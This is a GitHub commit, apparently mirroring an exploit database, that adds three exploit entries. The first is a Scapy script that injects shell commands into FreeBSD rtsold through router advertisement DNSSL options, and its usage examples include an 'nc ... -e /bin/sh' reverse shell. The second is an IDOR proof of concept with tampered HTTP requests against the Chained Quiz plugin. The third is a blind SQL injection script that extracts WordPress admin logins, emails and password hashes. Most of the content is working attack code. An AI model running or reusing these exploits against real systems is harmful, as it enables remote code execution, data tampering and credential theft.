Skip to content

Commit 7170fdb

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents 6316352 + ab1db7d commit 7170fdb

File tree

4 files changed

+378
-0
lines changed

4 files changed

+378
-0
lines changed

exploits/multiple/webapps/52463.py

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
2+
# Date: 2025-12-16
3+
# Exploit Author: Lukas Johannes Möller
4+
# Vendor Homepage: https://www.freebsd.org/
5+
# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
6+
# Tested on: FreeBSD 14.1-RELEASE
7+
# CVE: CVE-2025-14558
8+
#
9+
# Description:
10+
# rtsold(8) processes IPv6 Router Advertisement DNSSL options without
11+
# validating domain names for shell metacharacters. The decoded domains
12+
# are passed to resolvconf(8), a shell script that uses unquoted variable
13+
# expansion, enabling command injection via $() substitution.
14+
#
15+
# Requirements:
16+
# - Layer 2 adjacency to target
17+
# - Target running rtsold with ACCEPT_RTADV enabled
18+
# - Root privileges (raw socket for sending RA)
19+
# - Python 3 + Scapy
20+
#
21+
# References:
22+
# https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
23+
# https://github.com/JohannesLks/CVE-2025-14558
24+
25+
import argparse
26+
import struct
27+
import sys
28+
import time
29+
30+
try:
31+
from scapy.all import (
32+
Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
33+
ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
34+
)
35+
except ImportError:
36+
sys.exit("[!] Scapy required: pip install scapy")
37+
38+
39+
def encode_domain(name):
40+
"""Encode domain in DNS wire format (RFC 1035)."""
41+
result = b""
42+
for label in name.split("."):
43+
if label:
44+
data = label.encode()
45+
result += bytes([len(data)]) + data
46+
return result + b"\x00"
47+
48+
49+
def encode_payload(cmd):
50+
"""Encode payload as DNS label with $() wrapper for command substitution."""
51+
payload = f"$({cmd})".encode()
52+
if len(payload) > 63:
53+
# Split long payloads across labels (dots inserted on decode)
54+
result = b""
55+
while payload:
56+
chunk = payload[:63]
57+
payload = payload[63:]
58+
result += bytes([len(chunk)]) + chunk
59+
return result + b"\x00"
60+
return bytes([len(payload)]) + payload + b"\x00"
61+
62+
63+
def build_dnssl(cmd, lifetime=0xFFFFFFFF):
64+
"""Build DNSSL option (RFC 6106) with injected command."""
65+
data = encode_domain("x.local") + encode_payload(cmd)
66+
67+
# Pad to 8-byte boundary
68+
pad = (8 - (len(data) + 8) % 8) % 8
69+
data += b"\x00" * pad
70+
71+
# Type=31 (DNSSL), Length in 8-octet units
72+
length = (8 + len(data)) // 8
73+
return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data
74+
75+
76+
def build_ra(mac, payload):
77+
"""Build Router Advertisement with malicious DNSSL."""
78+
return (
79+
Ether(src=mac, dst="33:33:00:00:00:01")
80+
/ IPv6(src="fe80::1", dst="ff02::1", hlim=255)
81+
/ ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
82+
/ ICMPv6NDOptSrcLLAddr(lladdr=mac)
83+
/ ICMPv6NDOptPrefixInfo(
84+
prefixlen=64, L=1, A=1,
85+
validlifetime=2592000, preferredlifetime=604800,
86+
prefix="2001:db8::"
87+
)
88+
/ Raw(load=build_dnssl(payload))
89+
)
90+
91+
92+
def main():
93+
p = argparse.ArgumentParser(
94+
description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
95+
epilog="Examples:\n"
96+
" %(prog)s -i eth0\n"
97+
" %(prog)s -i eth0 -p 'id>/tmp/pwned'\n"
98+
" %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
99+
formatter_class=argparse.RawDescriptionHelpFormatter
100+
)
101+
p.add_argument("-i", "--interface", required=True, help="Network interface")
102+
p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
103+
p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
104+
args = p.parse_args()
105+
106+
try:
107+
mac = get_if_hwaddr(args.interface)
108+
except Exception as e:
109+
sys.exit(f"[!] Interface error: {e}")
110+
111+
print(f"[*] Interface: {args.interface} ({mac})")
112+
print(f"[*] Payload: {args.payload}")
113+
114+
pkt = build_ra(mac, args.payload)
115+
116+
for i in range(args.count):
117+
sendp(pkt, iface=args.interface, verbose=False)
118+
print(f"[+] Sent RA {i+1}/{args.count}")
119+
if i < args.count - 1:
120+
time.sleep(1)
121+
122+
print("[+] Done")
123+
124+
125+
if __name__ == "__main__":
126+
main()
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# Exploit Title: Chained Quiz 1.3.5 - Unauthenticated Insecure Direct Object Reference via Cookie
2+
# Date: 19-12-2025
3+
# Exploit Author: Karuppiah Sabari Kumar(0xsabre)
4+
# Vendor Homepage: https://wordpress.org/plugins/chained-quiz/
5+
# Software Link: https://downloads.wordpress.org/plugin/chained-quiz.1.3.3.zip
6+
# Version: <= 1.3.3
7+
# Tested on: WordPress / Linux
8+
# CVE: CVE-2025-10493
9+
10+
------------------------------------------------------------
11+
12+
## Vulnerability Type
13+
Insecure Direct Object Reference (IDOR) / Improper Authorization
14+
15+
------------------------------------------------------------
16+
17+
## Description
18+
The Chained Quiz plugin stores each quiz attempt using a predictable,
19+
auto-incrementing database ID (completion_id) and exposes this value
20+
directly in a client-side cookie named:
21+
22+
chained_completion_id<quiz_id>
23+
24+
When submitting or re-submitting quiz answers via admin-ajax.php, the
25+
server updates the quiz attempt record based solely on this cookie value,
26+
without verifying that the attempt belongs to the currently authenticated
27+
user.
28+
29+
No authentication is required to exploit this vulnerability when the
30+
plugin is used with default settings.
31+
32+
The server retrieves the quiz attempt directly using the completion_id
33+
from the cookie and performs an UPDATE query without verifying ownership.
34+
35+
As a result, an attacker can hijack or tamper with other users’ quiz
36+
attempts by guessing or enumerating valid completion_id values and
37+
replaying answer submissions.
38+
39+
------------------------------------------------------------
40+
41+
## Affected Component
42+
Quiz submission and results handling functionality via admin-ajax.php
43+
44+
------------------------------------------------------------
45+
46+
## Proof of Concept (PoC)
47+
48+
### Step 1: Victim user submission
49+
A user completes a quiz. The submission is stored using a completion ID
50+
and associated with the user’s session via a cookie, for example:
51+
52+
chained_completion_id1=2
53+
54+
------------------------------------------------------------
55+
56+
### Step 2: Attacker interception
57+
The attacker completes the same quiz and intercepts their own submission
58+
request using a proxy or browser developer tools.
59+
60+
Example request:
61+
62+
POST /wp-admin/admin-ajax.php HTTP/1.1
63+
Host: localhost
64+
Cookie: chained_completion_id1=1
65+
Connection: keep-alive
66+
Content-Type: application/x-www-form-urlencoded
67+
68+
answer=0&question_id=1&quiz_id=1&post_id=117&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1
69+
70+
------------------------------------------------------------
71+
72+
### Step 3: Tampering
73+
The attacker modifies the cookie value to match another user’s quiz
74+
attempt, for example:
75+
76+
chained_completion_id1=2
77+
78+
The attacker may also modify parameters such as "answer" or "points" to
79+
manipulate quiz responses or scores.
80+
81+
The modified request is then sent to the server.
82+
83+
------------------------------------------------------------
84+
85+
### Step 4: Result
86+
The server overwrites the victim user’s quiz submission, including answers
87+
and points, without validating ownership of the completion ID.
88+
89+
------------------------------------------------------------
90+
91+
## Impact
92+
An attacker can arbitrarily modify quiz answers, scores, or results
93+
belonging to other users. This results in an integrity violation of quiz
94+
data and allows unauthorized manipulation of finalized quiz attempts.
95+
In environments where quiz results are used for assessments, leaderboards,
96+
or certificates, this can undermine trust in the platform and affect any
97+
downstream integrations that rely on quiz completion data.
98+
99+
------------------------------------------------------------
100+
101+
## CWE
102+
- CWE-639: Authorization Bypass Through User-Controlled Key
103+
- CWE-285: Improper Authorization
104+
105+
------------------------------------------------------------

exploits/multiple/webapps/52465.py

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
# Exploit Title: WordPress Quiz Maker 6.7.0.56 - SQL Injection
2+
# Date: 2025-12-16
3+
# Exploit Author: Rahul Sreenivasan (Tr0j4n)
4+
# Vendor Homepage: https://ays-pro.com/wordpress/quiz-maker
5+
# Software Link: https://wordpress.org/plugins/quiz-maker/
6+
# Version: <= 6.7.0.56
7+
# Tested on: WordPress 6.x with Quiz Maker 6.7.0.56 on Ubuntu/Nginx/PHP-FPM
8+
# CVE: CVE-2025-10042
9+
10+
from argparse import ArgumentParser
11+
from requests import get
12+
from requests.packages.urllib3 import disable_warnings
13+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
14+
from time import time
15+
from sys import exit
16+
17+
disable_warnings(InsecureRequestWarning)
18+
19+
CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@.!$/:?"
20+
21+
def send_payload(url, path, header, payload, timeout):
22+
target = f"{url.rstrip('/')}/{path.lstrip('/')}"
23+
headers = {
24+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
25+
header: payload
26+
}
27+
try:
28+
start = time()
29+
get(target, headers=headers, timeout=timeout, verify=False)
30+
return time() - start
31+
except:
32+
return timeout
33+
34+
def check_vulnerable(url, path, header, sleep_time, timeout):
35+
print("[*] Testing for SQL injection vulnerability...")
36+
37+
baseline = send_payload(url, path, header, "127.0.0.1", timeout)
38+
print(f"[*] Baseline response time: {baseline:.2f}s")
39+
40+
payload = f"1' OR SLEEP({sleep_time})#"
41+
injection = send_payload(url, path, header, payload, timeout)
42+
print(f"[*] Injection response time: {injection:.2f}s")
43+
44+
if injection >= sleep_time * 0.7:
45+
print("[+] Target is VULNERABLE!")
46+
return True
47+
else:
48+
print("[-] Target does not appear to be vulnerable.")
49+
return False
50+
51+
def extract_length(url, path, header, query, timeout):
52+
low, high = 1, 100
53+
54+
while low < high:
55+
mid = (low + high) // 2
56+
payload = f"1' OR IF(LENGTH(({query}))>{mid},SLEEP(1),0)#"
57+
elapsed = send_payload(url, path, header, payload, timeout)
58+
59+
if elapsed >= 0.8:
60+
low = mid + 1
61+
else:
62+
high = mid
63+
64+
return low
65+
66+
def extract_char(url, path, header, query, position, timeout):
67+
low, high = 32, 126
68+
69+
while low < high:
70+
mid = (low + high) // 2
71+
payload = f"1' OR IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP(1),0)#"
72+
elapsed = send_payload(url, path, header, payload, timeout)
73+
74+
if elapsed >= 0.8:
75+
low = mid + 1
76+
else:
77+
high = mid
78+
79+
return chr(low) if low <= 126 else "?"
80+
81+
def extract_data(url, path, header, query, timeout):
82+
length = extract_length(url, path, header, query, timeout)
83+
print(f"[*] Data length: {length}")
84+
85+
result = ""
86+
for i in range(1, length + 1):
87+
char = extract_char(url, path, header, query, i, timeout)
88+
result += char
89+
print(f"\r[*] Extracting: {result}", end="", flush=True)
90+
91+
print()
92+
return result
93+
94+
def dump_users(url, path, header, timeout):
95+
print("\n[*] Extracting WordPress admin users...")
96+
97+
# Get admin user login
98+
query = "SELECT user_login FROM wp_users WHERE ID=1"
99+
username = extract_data(url, path, header, query, timeout)
100+
print(f"[+] Username: {username}")
101+
102+
# Get admin email
103+
query = "SELECT user_email FROM wp_users WHERE ID=1"
104+
email = extract_data(url, path, header, query, timeout)
105+
print(f"[+] Email: {email}")
106+
107+
# Get password hash
108+
query = "SELECT user_pass FROM wp_users WHERE ID=1"
109+
password = extract_data(url, path, header, query, timeout)
110+
print(f"[+] Password Hash: {password}")
111+
112+
return username, email, password
113+
114+
def main():
115+
parser = ArgumentParser(description="WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)")
116+
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
117+
parser.add_argument("-p", "--path", required=True, help="Path to quiz page")
118+
parser.add_argument("-H", "--header", default="X-Forwarded-For", help="Header for injection")
119+
parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout")
120+
parser.add_argument("--check", action="store_true", help="Only check vulnerability")
121+
parser.add_argument("--dump", action="store_true", help="Dump admin credentials")
122+
parser.add_argument("--query", help="Custom SQL query to extract")
123+
args = parser.parse_args()
124+
125+
print("[+] WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)")
126+
print(f"[+] Target: {args.url}")
127+
128+
if not check_vulnerable(args.url, args.path, args.header, 3, args.timeout):
129+
exit(1)
130+
131+
if args.check:
132+
exit(0)
133+
134+
if args.dump:
135+
dump_users(args.url, args.path, args.header, args.timeout)
136+
elif args.query:
137+
print(f"\n[*] Executing custom query: {args.query}")
138+
result = extract_data(args.url, args.path, args.header, args.query, args.timeout)
139+
print(f"[+] Result: {result}")
140+
else:
141+
dump_users(args.url, args.path, args.header, args.timeout)
142+
143+
if __name__ == "__main__":
144+
main()

0 commit comments

Comments
 (0)